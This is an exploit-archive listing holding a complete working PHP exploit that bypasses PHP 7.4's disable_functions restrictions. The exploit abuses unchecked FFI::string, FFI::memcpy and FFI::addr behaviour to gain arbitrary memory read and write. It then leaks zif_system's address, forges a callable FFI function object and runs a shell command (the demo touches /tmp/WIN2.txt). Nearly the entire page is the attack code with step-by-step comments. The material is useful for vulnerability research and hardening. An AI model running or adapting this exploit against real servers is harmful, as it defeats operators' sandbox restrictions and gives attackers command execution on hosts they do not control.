PHP 7.4 FFI disable_functions Bypass

2020.07.09
Credit: Hunter Gregal
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

<?php /* FFI Exploit - uses 3 potential BUGS. PHP was contacted and said nothing in FFI is a security issue. Able to call system($cmd) without using FFI::load() or FFI::cdefs() * BUG #1 (maybe intended, but why have any size checks then?) no bounds check for FFI::String() when type is ZEND_FFI_TYPE_POINTER (https://github.com/php/php-src/blob/php-7.4.7RC1/ext/ffi/ffi.c#L4411) * BUG #2 (maybe intended, but why have any checks then?) no bounds check for FFI::memcpy when type is ZEND_FFI_TYPE_POINTER (https://github.com/php/php-src/blob/php-7.4.7RC1/ext/ffi/ffi.c#L4286) * BUG #3 Can walk back CDATA object to get a pointer to its internal reference pointer using FFI::addr() call FFI::addr on a CDATA object to get its pointer (also a CDATA object), then call FFI::addr on the resulting ptr to get a handle to it's ptr, which is the ptr_holder for the original CDATA object the easiest way is to create cdata object, write target RIP (zif_system's address) to it and finally modify it's zend_ffi_type_kind to ZEND_FFI_TYPE_FUNC to call it Exploit steps: 1. Use read/write to leak zif_system pointer a. walk cdata object to leak handlers pointer ( in .bss ) b. scan .bss for pointer to a known value ( *.rodata ptr), that we know usually sits right below a pointer to the .data.relro segment c. Increment and read the .data.relro pointer to get a relro section leak d. Using the relro section leak, scan up memory looking for the 'system' string that is inside the zif_system relro entry. e. once found, increment and leak the zif_system pointer 2. Hijack RIP with complete argument control a. create a function pointer CDATA object using FFI::new() [not callable as it is technically not a propper ZEND_FFI_TYPE_FUNC since it wasnt made with FFI::cdef() b. Overwrite the object'd data with zif_system pointer c. Overwrite the objects zend_ffi_type_kind with ZEND_FFI_TYPE_FUNC so that it is callable with our own arguments 3. Create proper argument object to pass to zif_system (zend_execute_data .. ) a. Build out the zend_execute_data object in a php string b. right after the object is the argument object itself (zval) which we must also build. To do so we build our PHP_STRING in another FFI buffer, leak the pointer and place it into a fake zval STRING object. c. finally we can call zif_system with a controlled argument NOTE: does NOT exit cleanly nor give command output -- both may be possible Author: Hunter Gregal Tested on: - PHP 7.4.7 x64 Ubuntu 20, ./confiure --disable-all --with-ffi - PHP 7.4.3 x64 Ubuntu 20 (apt install) */ ini_set("display_errors", "On"); error_reporting(E_ALL); function pwn($cmd) { function allocate($amt, $fill) { // could do $persistent = TRUE to alloc on libc malloc heap instead // but we already have a good read/write primitive // and relying on libc leaks for gadgets is not very portable // (custome compiled libc -> see pornhub php 0-day) $buf = FFI::new("char [".$amt."]"); $bufPtr = FFI::addr($buf); FFI::memset($bufPtr, $fill, $amt); // not sure if i need to keep the CData reference alive // or not - but just in case return it too for now return array($bufPtr, $buf); } // uses leak to leak data from FFI ptr function leak($ptr, $n, $hex) { if ( $hex == 0 ) { return FFI::string($ptr, $n); } else { return bin2hex(FFI::string($ptr, $n)); } } function ptrVal($ptr) { $tmp = FFI::cast("uint64_t", $ptr); return $tmp->cdata; } /* Read primative writes target address overtop of CDATA object pointer, then leaks directly from the CDATA object */ function Read($addr, $n = 8, $hex = 0) { // Create vulnBuf which we walk back to do the overwrite // (the size and contents dont really matter) list($vulnBufPtr, $vulnBuf) = allocate(1, 0x42); // B*8 // walk back to get ptr to ptr (heap) $vulnBufPtrPtr = FFI::addr($vulnBufPtr); /*// DEBUG $vulnBufPtrVal = ptrVal($vulnBufPtr); $vulnBufPtrPtrVal = ptrVal($vulnBufPtrPtr); printf("vuln BufPtr = %s\n", dechex($vulnBufPtrVal)); printf("vuln BufPtrPtr = %s\n", dechex($vulnBufPtrPtrVal)); printf("-------\n\n"); */ // Overwrite the ptr $packedAddr = pack("Q",$addr); FFI::memcpy($vulnBufPtrPtr, $packedAddr, 8); // Leak the overwritten ptr return leak($vulnBufPtr, $n, $hex); } /* Write primative writes target address overtop of CDATA object pointer, then writes directly to the CDATA object */ function Write($addr, $what, $n) { // Create vulnBuf which we walk back to do the overwrite // (the size and contents dont really matter) list($vulnBufPtr, $vulnBuf) = allocate(1, 0x42); // B*8 // walk back to get ptr to ptr (heap) $vulnBufPtrPtr = FFI::addr($vulnBufPtr); /*// DEBUG $vulnBufPtrVal = ptrVal($vulnBufPtr); $vulnBufPtrPtrVal = ptrVal($vulnBufPtrPtr); printf("vuln BufPtr = %s\n", dechex($vulnBufPtrVal)); printf("vuln BufPtrPtr = %s\n", dechex($vulnBufPtrPtrVal)); printf("-------\n\n"); */ // Overwrite the ptr $packedAddr = pack("Q",$addr); FFI::memcpy($vulnBufPtrPtr, $packedAddr, 8); // Write to the overwritten ptr FFI::memcpy($vulnBufPtr, $what, $n); } function isPtr($knownPtr, $testPtr) { if ( ($knownPtr & 0xFFFFFFFF00000000) == ($testPtr & 0xFFFFFFFF00000000)) { return 1; } else { return 0; } } /* Walks looking for valid pointers * - each valid ptr is read and if it - points to the target return the address of the - ptr and the location it was found */ //function getRodataAddr($bssLeak) { function walkSearch($segmentLeak, $maxQWORDS, $target, $size = 8, $up = 0) { $start = $segmentLeak; for($i = 0; $i < $maxQWORDS; $i++) { if ( $up == 0 ) { // walk 'down' addresses $addr = $start - (8 * $i); } else { // walk 'up' addresses $addr = $start + (8 * $i); } //$leak = Read($addr, 8); $leak = unpack("Q", Read($addr))[1]; // skip if its not a valid pointer... if ( isPtr($segmentLeak, $leak) == 0 ) { continue; } $leak2 = Read($leak, $n = $size); //printf("0x%x->0x%x = %s\n", $addr, $leak, $leak2); if( strcmp($leak2, $target) == 0 ) { # match return array ($leak, $addr); } } return array(0, 0); } function getBinaryBase($textLeak) { $start = $textLeak & 0xfffffffffffff000; for($i = 0; $i < 0x10000; $i++) { $addr = $start - 0x1000 * $i; $leak = Read($addr, 7); //if($leak == 0x10102464c457f) { # ELF header if( strcmp($leak, "\x7f\x45\x4c\x46\x02\x01\x01") == 0 ) { # ELF header return $addr; } } return 0; } function parseElf($base) { $e_type = unpack("S", Read($base + 0x10, 2))[1]; $e_phoff = unpack("Q", Read($base + 0x20))[1]; $e_phentsize = unpack("S", Read($base + 0x36, 2))[1]; $e_phnum = unpack("S", Read($base + 0x38, 2))[1]; for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = unpack("L", Read($header, 4))[1]; $p_flags = unpack("L", Read($header + 4, 4))[1]; $p_vaddr = unpack("Q", Read($header + 0x10))[1]; $p_memsz = unpack("Q", Read($header + 0x28))[1]; if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write # handle pie $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function getBasicFuncs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = unpack("Q", Read($data_addr+ ($i * 8)))[1]; if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = unpack("Q", Read($leak))[1]; # 'constant' constant check if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = unpack("Q", Read($data_addr + (($i + 4) * 8)))[1]; if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = unpack("Q", Read($leak))[1]; # 'bin2hex' constant check if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function getSystem($basic_funcs) { $addr = $basic_funcs; do { $f_entry = unpack("Q", Read($addr))[1]; $f_name = Read($f_entry, 6) . "\0"; if( strcmp($f_name, "system\0") == 0) { # system return unpack("Q", Read($addr + 8))[1]; } $addr += 0x20; } while($f_entry != 0); return false; } // Convenient for debugging function crash() { Write(0x0, "AAAA", 4); } printf("\n[+] Starting exploit...\n"); // --------------------------- start of leak zif_system address /* NOTE: typically we would leak a .text address and walk backwards to find the ELF header. From there we can parse the elf information to resolve zif_system - in our case the base PHP binary image with the ELF head is on its own mapping that does not border the .text segment. So we need a creative way to get zif_system */ /* ---- First, we use our read to walk back to the our Zend_object, // and get its zend_object_handlers* which will point to the // php binary symbols zend_ffi_cdata_handlers in the .bss. // //_zend_ffi_cdata.ptr-holder - _zend_ffi_cdata.ptr.std.handlers == 6 QWORDS // // From there we search for a ptr to a known value (happens to be to the .rodata section) // that just so happens to sit right below a ptr to the 'zend_version' relro entry. // So we do some checks on that to confirm it is infact a valid ptr to the .data.relro. // // Finally we walk UP the relro entries looking for the 'system' (zif_system) entry. (zend_types.h) struct _zend_object { <-----typdef zend_object zend_refcounted_h gc; uint32_t handle; // may be removed ??? end_class_entry *ce; const zend_object_handlers *handlers; <--- func ptrs HashTable *properties; zval properties_table[1]; }; (ffi.c) typedef struct _zend_ffi_cdata { zend_object std; zend_ffi_type *type; void *ptr; <--- OVERWRITE void *ptr_holder; <-- zend_ffi_flags flags; } zend_ffi_cdata; */ list($dummyPtr, $dummy) = allocate(64, 0x41); // dummy buf ptr $dummyPtrVal = ptrVal($dummyPtr); // dummy buf ptr ptr $dummyPtrPtr = FFI::addr($dummyPtr); $dummyPtrPtrVal = ptrVal($dummyPtrPtr); printf("Dummy BufPtr = 0x%x\n", $dummyPtrVal); printf("Dummy BufPtrPtr = 0x%x\n", $dummyPtrPtrVal); $r = leak($dummyPtr, 64, 1); printf("Dummy buf:\n%s\n", $r); printf("-------\n\n"); /* // ------ Test our read and write $r = Read($dummyPtrVal, 256, 1); printf("Read Test (DummyBuf):\n%s\n", $r); Write($dummyPtrVal, "CCCCCCCC", 8); $r = Read($dummyPtrVal, 256, 1); printf("Write Test (DummyBuf):\n%s\n", $r); // ---------- */ $handlersPtrPtr = $dummyPtrPtrVal - (6 * 8); printf("_zend_ffi_cdata.ptr.std.handlers = 0x%x\n", $handlersPtrPtr); $handlersPtr = unpack("Q", Read($handlersPtrPtr))[1]; // --> zend_ffi_cdata_handlers -> .bss printf("zend_ffi_cdata_handlers = 0x%x\n", $handlersPtr); // Find our 'known' value in the .rodata section -- in this case 'CORE' // (backup can be 'STDIO)' list($rodataLeak, $rodataLeakPtr) = walkSearch($handlersPtr, 0x400,"Core", $size=4); if ( $rodataLeak == 0 ) { // If we failed let's just try to find PHP's base and hope for the best printf("Get rodata addr failed...trying for last ditch effort at PHP's ELF base\n"); // use .txt leak $textLeak = unpack("Q", Read($handlersPtr+16))[1]; // zned_objects_destroy_object printf(".textLeak = 0x%x\n", $textLeak); $base = getBinaryBase($textLeak); if ( $base == 0 ) { die("Failed to get binary base\n"); } printf("BinaryBase = 0x%x\n", $base); // parse elf if (!($elf = parseElf($base))) { die("failed to parseElf\n"); } if (!($basicFuncs = getBasicFuncs($base, $elf))) { die("failed to get basic funcs\n"); } if (!($zif_system = getSystem($basicFuncs))) { die("Failed to get system\n"); } // XXX HERE XXX //die("Get rodata addr failed\n"); } else { printf(".rodata leak ('CORE' ptr) = 0x%x->0x%x\n", $rodataLeakPtr, $rodataLeak); // Right after the "Core" ptrptr is zend_version's relro entry - XXX this may not be static // zend_version is in .data.rel.ro $dataRelroPtr = $rodataLeakPtr + 8; printf("PtrPtr to 'zend_verson' relro entry: 0x%x\n", $dataRelroPtr); // Read the .data.relro potr $dataRelroLeak = unpack("Q", Read($dataRelroPtr))[1]; if ( isPtr($dataRelroPtr, $dataRelroLeak) == 0 ) { die("bad zend_version entry pointer\n"); } printf("Ptr to 'zend_verson' relro entry: 0x%x\n", $dataRelroLeak); // Confirm this is a ptrptr to zend_version $r = unpack("Q", Read($dataRelroLeak))[1]; if ( isPtr($dataRelroLeak, $r) == 0 ) { die("bad zend_version entry pointer\n"); } printf("'zend_version' string ptr = 0x%x\n", $r); $r = Read($r, $n = 12); if ( strcmp($r, "zend_version") ) { die("Failed to find zend_version\n"); } printf("[+] Verified data.rel.ro leak @ 0x%x!\n", $dataRelroLeak); /* Walk FORWARD the .data.rel.ro segment looking for the zif_system entry - this is a LARGE section... */ list($systemStrPtr, $systemEntryPtr) = walkSearch($dataRelroLeak, 0x3000, "system", $size = 6, $up =1); if ( $systemEntryPtr == 0 ) { die("Failed to find zif_system relro entry\n"); } printf("system relro entry = 0x%x\n", $systemEntryPtr); $zif_systemPtr = $systemEntryPtr + 8; $r = unpack("Q", Read($zif_systemPtr))[1]; if ( isPtr($zif_systemPtr, $r) == 0 ) { die("bad zif_system pointer\n"); } $zif_system = $r; } printf("[+] zif_system @ 0x%x\n", $zif_system); // --------------------------- end of leak zif_system address // --------------------------- start call zif_system /* To call system in a controlled manner the easiest way is to create cdata object, write target RIP (zif_system's address) to it and finally modify it's zend_ffi_type_kind to ZEND_FFI_TYPE_FUNC to call it */ $helper = FFI::new("char* (*)(const char *)"); //$helper = FFI::new("char* (*)(const char *, int )"); // XXX if we want return_val control $helperPtr = FFI::addr($helper); //list($helperPtr, $helper) = allocate(8, 0x43); //$x[0] = $zif_system; $helperPtrVal = ptrVal($helperPtr); $helperPtrPtr = FFI::addr($helperPtr); $helperPtrPtrVal = ptrVal($helperPtrPtr); printf("helper.ptr_holder @ 0x%x -> 0x%x\n", $helperPtrPtrVal, $helperPtrVal); // Walk the type pointers //$helperObjPtr = $helperPtrPtrVal - (9 *8); // to top of cdata object //printf("helper CDATA object @ 0x%x\n", $helperObjPtr); $helperTypePtrPtr = $helperPtrPtrVal - (2 *8); // 2 DWORDS up the struct to *type ptr //printf("helper CDATA type PtrPtr @ 0x%x\n", $helperTypePtrPtr); $r = unpack("Q", Read($helperTypePtrPtr))[1]; if ( isPtr($helperTypePtrPtr, $r) == 0 ) { die("bad helper type pointer\n"); } $helperTypePtr = $r; // Confirm it's currently ZEND_FFI_TYPE_VOID (0) $r = Read($helperTypePtr, $n=1, $hex=1); if ( strcmp($r, "00") ) { die("Unexpected helper type!\n"); } printf("Current helper CDATA type @ 0x%x -> 0x%x -> ZEND_FFI_TYPE_VOID (0)\n", $helperTypePtrPtr, $helperTypePtr); // Set it to ZEND_FFI_TYPE_FUNC (16 w/ HAVE_LONG_DOUBLE else 15) Write($helperTypePtr, "\x10", 1); printf("Swapped helper CDATA type @ 0x%x -> 0x%x -> ZEND_FFI_TYPE_FUNC (16)\n", $helperTypePtrPtr, $helperTypePtr); // Finally write zif_system to the value Write($helperPtrVal, pack("Q", $zif_system), 8); // --------------------------- end of leak zif_system address // ----------------------- start of build zif_system argument /* zif_system takes 2 args -> zif_system(*zend_execute_data, return_val) For now I don't bother with the return_val, although tehnically we could control it and potentially exit cleanly */ // ----------- start of setup zend_execute_data object /* Build valid zend_execute object struct _zend_execute_data { const zend_op *opline; /* executed opline zend_execute_data *call; /* current call zval *return_value; zend_function *func; /* executed function zval This; /* this + call_info + num_args zend_execute_data *prev_execute_data; zend_array *symbol_table; void **run_time_cache; /* cache op_array->run_time_cache }; //0x48 bytes */ //This.u2.num_args MUST == our number of args (1 or 2 apparantly..) [6 QWORD in execute_data] $execute_data = str_shuffle(str_repeat("C", 5*8)); // 0x28 C's $execute_data .= pack("L", 0); // this.u1.type $execute_data .= pack("L", 1); // this.u2.num_args $execute_data .= str_shuffle(str_repeat("A", 0x18)); // fill out rest of zend_execute obj $execute_data .= str_shuffle(str_repeat("D", 8)); //padding // ----------- end of setup zend_execute_data object // ----------- start of setup argument object /* the ARG (zval) object lays after the execute_data object zval { value = *cmdStr ([16 bytes] + [QWORD string size] + [NULL terminated string]) u1.type = 6 (IS_STRING) u2.???? = [unused] } */ /* // Let's get our target command setup in a controlled buffer // TODO - use the dummy buf? // the string itself is odd. it has 16 bytes prepended to it that idk what it is // the whole argument after the zend_execute_data object looks like */ $cmd_ = str_repeat("X", 16); // unk padding $cmd_ .= pack("Q", strlen($cmd)); // string len $cmd_ .= $cmd . "\0"; // ensure null terminated! list($cmdBufPtr, $cmdBuf) = allocate(strlen($cmd_), 0); $cmdBufPtrVal = ptrVal($cmdBufPtr); FFI::memcpy($cmdBufPtr, $cmd_, strlen($cmd_)); printf("cmdBuf Ptr = 0x%x\n", $cmdBufPtrVal); // Now setup the zval object itself $zval = pack("Q", $cmdBufPtrVal); // zval.value (pointer to cmd string) $zval .= pack("L", 6); // zval.u1.type (IS_STRING [6]) $zval .= pack("L", 0); // zval.u2 - unused $execute_data .= $zval; // ---------- end of setup argument object // ----------------------- start of build zif_system argument $res = $helper($execute_data); //$return_val = 0x0; // // XXX if we want return_val control //$res = $helper($execute_data, $return_val); // XXX if we want return_val control // --------------------------- end of call zif_system } pwn("touch /tmp/WIN2.txt"); ?>


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top